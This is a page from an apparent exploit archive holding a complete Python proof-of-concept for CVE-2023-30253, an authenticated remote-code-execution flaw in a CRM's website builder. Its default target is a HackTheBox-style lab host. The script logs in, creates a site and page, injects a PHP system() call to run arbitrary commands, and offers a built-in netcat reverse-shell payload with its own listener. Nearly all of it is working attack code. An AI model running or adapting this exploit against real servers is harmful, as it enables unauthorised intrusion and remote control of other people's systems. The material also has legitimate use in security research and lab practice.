4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-30253.py PY
import requests
from bs4 import BeautifulSoup
from datetime import datetime
import re
from pwn import *
from colorama import init, Fore, Style
import argparse
import pyfiglet 


init()


context.log_level = 'info'
logger = log


def log_message(text, log_type="info"):
    try:
        if log_type == "info":
            logger.info(text)
        elif log_type == "success":
            logger.success(f"{Fore.GREEN}{text}{Style.RESET_ALL}")
        elif log_type == "error":
            logger.failure(f"{Fore.RED}{text}{Style.RESET_ALL}")
        elif log_type == "progress":
            logger.info(f"{Fore.YELLOW}{text}{Style.RESET_ALL}")
        else:
            logger.info(text)  
    except Exception as e:
        print(f"Error al registrar el mensaje: {e}")


class CVE_2023_30253:
    
    def __init__(self,url,user,password):
        self.session = requests.Session()
        self.url=url
        self.user = user
        self.password= password
        self.token=""
        self.pageid=""
        self.website="test123"
        self.headers = {
                "Origin": url,
                "Content-Type": "application/x-www-form-urlencoded",
                "User-Agent": "Mozilla/5.0 (Windows NT 11.0; Win64; rv:122.0) Gecko/20100101 Firefox/122.0",
                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
                "Referer": url,
            }
        
    def get_token_CSRF(self,url):
        try:
            response = self.session.get(url)
        
            soup = BeautifulSoup(response.text, 'html.parser')
            csrf_token = soup.find('meta', attrs={'name': 'anti-csrf-newtoken'})
            if csrf_token:
                return csrf_token.get('content')
            else:
                return None

        except Exception as e:
            log_message(f"{Fore.RED}get_token_CSRF Error: {e}{Style.RESET_ALL}","error")
            return None 
            
    def get_page_id(self):
        url = f"{self.url}/website/index.php"
        response = self.session.get(url)
        soup = BeautifulSoup(response.text, 'html.parser')
        
        pageid_link = soup.find('a', href=re.compile(r'pageid=(\d+)'))
        
        if pageid_link:
            pageid_match = re.search(r'pageid=(\d+)', pageid_link['href'])
            if pageid_match:
                self.pageid = pageid_match.group(1)
            else:
                log_message(f"{Fore.RED}[-] Error getting the page Id\nAborting..{Style.RESET_ALL}","error")
                exit(1)
        
    def login(self):
        
        try:

            url = f"{self.url}/admin/index.php"
            log_message(f"Verifying accessibility of URL:{url}","progress")
            if((requests.get(url,timeout=4).status_code) != 200):
                log_message("Error: Unable to access URL.","error")
            
            log_message(f"Attempting login to {url} as {self.user}","progress")  
            self.token =self.get_token_CSRF(url)

            data = {
                "token": self.token,
                "actionlogin": "login",
                "loginfunction": "loginfunction",
                "backtopage": "",
                "tz": "-6",
                "tz_string": "America/Mexico_City",
                "dst_observed": "0",
                "dst_first": "",
                "dst_second": "",
                "screenwidth": "628",
                "screenheight": "608",
                "dol_hide_topmenu": "",
                "dol_hide_leftmenu": "",
                "dol_optimize_smallscreen": "",
                "dol_no_mouse_hover": "",
                "dol_use_jmobile": "",
                "username": self.user,
                "password": self.password
            }

            response = self.session.post(url, headers=self.headers, data=data)

            if(response.status_code == 200):
                if not "Bad value for login or password" in response.text:
                    log_message("Login successfully!","success")
                    return True 
                else:
                    log_message("Login failed.","error")
                    exit(1)
            else:
                log_message(f"Error in the request\nAborting..","error")
                exit(1)
            
        except Exception as e:
            log_message(f"login Error:{e}","error")
            
        return False 

    def create_website(self):
        url = f"{self.url}/website/index.php"
        self.session.headers.update({
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary0TYAB8bzZ1DiVwez"
        })
        log_message(f"Creating web site ...","progress")  
        try:
            data = {
                "token": self.token,
                "backtopage": "",
                "dol_openinpopup": "",
                "action": "addsite",
                "website": "-1",
                "WEBSITE_REF": self.website,
                "WEBSITE_LANG": "en",
                "WEBSITE_OTHERLANG": "",
                "WEBSITE_DESCRIPTION": "test",
                "virtualhost": "http://localhost",
                "addcontainer": "Create"
            }
            
            response = self.session.post(url, data=data,headers=self.headers)

            if response.status_code == 200:
                if self.website in response.text:
                    log_message("Web site was create successfully!","success")
                    return True
                
            else:
                log_message("SOME ERROR WAS FOUND CREATING THE WEB SITE..","error")
        except Exception as e:
            log_message(f"create_website error {e}","error")

        return False 

    def create_page(self):
        url = f"{self.url}/website/index.php"
        log_message(f"Creating web page ...","progress")
        self.session.headers.update({
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryNy4GtqU6jty4Aoi4"
        })
        now = datetime.now()
        date_creation = now.strftime("%m/%d/%Y %H:%M:%S")
        data = {
            "token": self.token,
            "backtopage": "",
            "dol_openinpopup": "",
            "action": "addcontainer",
            "website": self.website,
            "pageidbis": "-1",
            "pageid": "1",
            "radiocreatefrom": "checkboxcreatemanually",
            "WEBSITE_TYPE_CONTAINER": "page",
            "sample": "empty",
            "WEBSITE_TITLE": "test",
            "WEBSITE_PAGENAME": "test",
            "WEBSITE_LANG": "en",
            "datecreation": date_creation,
            "datecreationday": now.day,
            "datecreationmonth": now.month,
            "datecreationyear": now.year,
            "datecreationhour": now.hour,
            "datecreationmin": now.minute,
            "datecreationsec": now.second,
            "addcontainer": "Create",
            "externalurl": "",
            "grabimages": "1",
            "grabimagesinto": "root"
        }
        response = self.session.post(url, data=data,headers=self.headers)
        if response.status_code == 200:
                if self.website in response.text:
                    log_message("Web page was create successfully!","success")
                    return True
                
        else:
                log_message("SOME ERROR WAS FOUND CREATING THE WEB PAGE..","error")
                exit(1)
        
        return False        

    def generate_payload(self, payload ):
        url = f"{self.url}/website/index.php"
        page_content=f'''<section id="mysection1" contenteditable="true"><?PHP system("{payload}"); ?></section>'''
        log_message(f"Executing command {payload}","progress")
        self.get_page_id()
        data = {
            "token": self.token,
            "backtopage": "",
            "dol_openinpopup": "",
            "action": "updatesource",
            "website": self.website,
            "pageid": self.pageid,
            "update": "Save",
            "PAGE_CONTENT_x": "8",
            "PAGE_CONTENT_y": "2",
            "PAGE_CONTENT": page_content
        }
        
        response = self.session.post(url, data=data,headers=self.headers)
        self.enable_dynamic_content()
        if(response.status_code == 200):
            #log.info(f"{Fore.GREEN}[+]Execute exploit :){Style.RESET_ALL}")
            response = self.session.get(url,headers=self.headers)
            
            soup = BeautifulSoup(response.text, 'html.parser')
            
            mysection = soup.find('section', id='mysection1')
            
            content = mysection.get_text(strip=True)
            
            log.success(f"{Fore.MAGENTA}Command execution successful {Style.RESET_ALL}:\n{content}")
            log_message("Information retrieved successfully!","success")
            return True 
        return False 

    def enable_dynamic_content(self):
        # Parámetros de la consulta
        params = {
            'website': self.website,
            'pageid': self.pageid,
            'action': 'setshowsubcontainers',
            'token': self.token
        }
        
        url = f"{self.url}/website/index.php"
        try:
            response = self.session.get(url, headers=self.headers, params=params)
            response.raise_for_status()
            
        except requests.exceptions.RequestException as e:
            log_message(f"An error occurred: {e}","error")
    
    def initials_step(self):
        if self.login() and self.create_website() and self.create_page():
            return True
        return False
    
    def execute_command(self,cmd): 
            self.generate_payload(cmd)


def arguments():
    parser = argparse.ArgumentParser(description="Argument parser")
    parser.add_argument("--url", default="http://crm.board.htb", help="URL of the website")
    parser.add_argument("-u","--user", default="admin", help="Username")
    parser.add_argument("-p","--password", default="admin", help="Password")
    
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-c","--command", help="Command to execute")
    group.add_argument("-r" ,"--reverseshell", nargs=2, metavar=("ip", "port"), help="Reverse shell IP and port")

    args = parser.parse_args()
    log_message(f"{Fore.BLUE}Url{Style.RESET_ALL}: {args.url}")
    log_message(f"{Fore.BLUE}User{Style.RESET_ALL}: {args.user}")
    log_message(f"{Fore.BLUE}Password{Style.RESET_ALL}: {args.password}")
    if args.command:
        log_message(f"{Fore.BLUE}Command{Style.RESET_ALL}: {args.command}")
    else:
        log_message(f"{Fore.BLUE}Reverseshell info{Style.RESET_ALL}:{Fore.GREEN}\n\tIP{Style.RESET_ALL}:{args.reverseshell[0]}{Fore.GREEN}\n\tPORT{Style.RESET_ALL}:{args.reverseshell[1]}")

    return args

def initial_listener(port):
    shell = listen(port, timeout=20).wait_for_connection()
    shell.interactive()
def main():
    print(f"{Fore.CYAN}{pyfiglet.figlet_format('CVE', font='isometric1')}{Style.RESET_ALL}")
    print(f"{Fore.CYAN}{pyfiglet.figlet_format('2023-30253', font='small')}{Style.RESET_ALL}")

    log_message("By Rubikcuv5.\n","success")
    args = arguments()
    cve_2023_30253 = CVE_2023_30253(args.url,args.user,args.password)
    if(cve_2023_30253.initials_step()):
        if(args.command):
            cve_2023_30253.execute_command(args.command)
        else:
            #YOUR PAYLOAD REVSHELL HERE!!!
            payload=f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {args.reverseshell[0]} {args.reverseshell[1]} >/tmp/f"
            try:
                threading.Thread(target=initial_listener, args=(args.reverseshell[1],)).start()
                cve_2023_30253.execute_command(payload)
            except Exception as e:
                log_message(f"{Fore.RED}{str(e)}{Style.RESET_ALL}","error")

if __name__ == '__main__':
    main()